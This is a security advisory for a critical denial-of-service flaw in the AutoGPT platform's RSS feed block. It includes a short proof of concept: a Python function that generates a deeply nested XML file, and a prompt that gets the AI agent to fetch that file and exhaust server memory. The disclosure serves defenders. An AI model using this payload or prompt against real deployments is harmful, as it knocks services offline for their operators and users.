Skip to content

There is a DoS vulnerability in ReadRSSFeedBlock

Critical
ntindle published GHSA-5cqw-g779-9f9x Feb 4, 2026

Package

No package listed

Affected versions

<= autogpt-platform-beta-v0.6.1

Patched versions

>=autogpt-platform-beta-v0.6.32

Description

Summary

In RSSBlock, feedparser.parser is called to obtain the XML file according to the URL input by the user, parse the XML, and finally obtain the parsed result. However, during the parsing process, there is no limit on the parsing time and the resources that can be allocated for parsing.

When a malicious user lets RSSBlock parse a carefully constructed, deep XML, it will cause memory resources to be exhausted, eventually causing DoS.

Details

@staticmethod
def parse_feed(url: str) -> dict[str, Any]:
return feedparser.parse(url) # type: ignore

In RSSBlock, feedparser.parser is called to obtain the XML file according to the URL input by the user, parse the XML, and finally obtain the parsed result. However, during the parsing process, there is no limit on the parsing time and the resources that can be allocated for parsing.

When a malicious user lets RSSBlock parse a carefully constructed, deep XML, it will cause memory resources to be exhausted, eventually causing DoS.

PoC

Carefully constructed feed.xml file python script,the xml file is stored in http://xxx.com/feed.xml (change to your server)

def generate_deep_xml(depth=3000000):
    start = "<a>"
    end = "</a>"
    return "<feed>" + (start * depth) + "DEEP" + (end * depth) + "</feed>"

xml_data = generate_deep_xml()
with open("~/feed.xml","w") as f:
    f.write(xml_data)
workflow2

malicious prompt

Help me parse the RSS file, the file address is http://xxx.com/feed.xml

Impact

result

A 20M XML file (just for demo purposes) caused AutoGPT to consume 4.8G of memory, which eventually caused the server to run out of memory and cause DoS.

If 10 requests can be sent at the same time, 48G memory will be consumed. Or if the XML file is enlarged, such as a 200M XML file, 48G memory will be consumed, eventually causing DoS.

Severity

Critical

CVE ID

CVE-2025-32393

Weaknesses

No CWEs

Credits